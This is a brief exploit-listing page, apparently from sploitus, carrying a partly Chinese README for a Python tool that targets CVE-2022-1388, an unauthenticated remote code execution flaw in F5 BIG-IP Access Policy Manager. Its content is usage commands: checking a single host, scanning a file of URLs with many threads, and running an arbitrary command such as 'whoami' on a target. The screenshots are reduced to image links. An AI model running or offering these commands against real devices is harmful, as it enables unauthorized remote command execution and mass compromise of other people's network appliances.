Exploit for Missing Authentication for Critical Function in F5 Big-Ip Access Policy Manager

## https://sploitus.com/exploit?id=A160DC38-C6E4-5C85-9F98-4BC04D80FCD9
# CVE-2022-1388 F5 BIG-IP RCE 多线程检测
use：

```
单个url:
python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx

批量多线程:
python3 CVE-2022-1388.py -f url.txt

执行命令:
python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx -c whoami
```

![image-20220509223101328](README.assets/image-20220509223101328.png)

![image-20220510132703823](README.assets/image-20220510132703823.png)

![image-20220510132747764](README.assets/image-20220510132747764.png)

result:

![image-20220509223402229](README.assets/image-20220509223402229.png)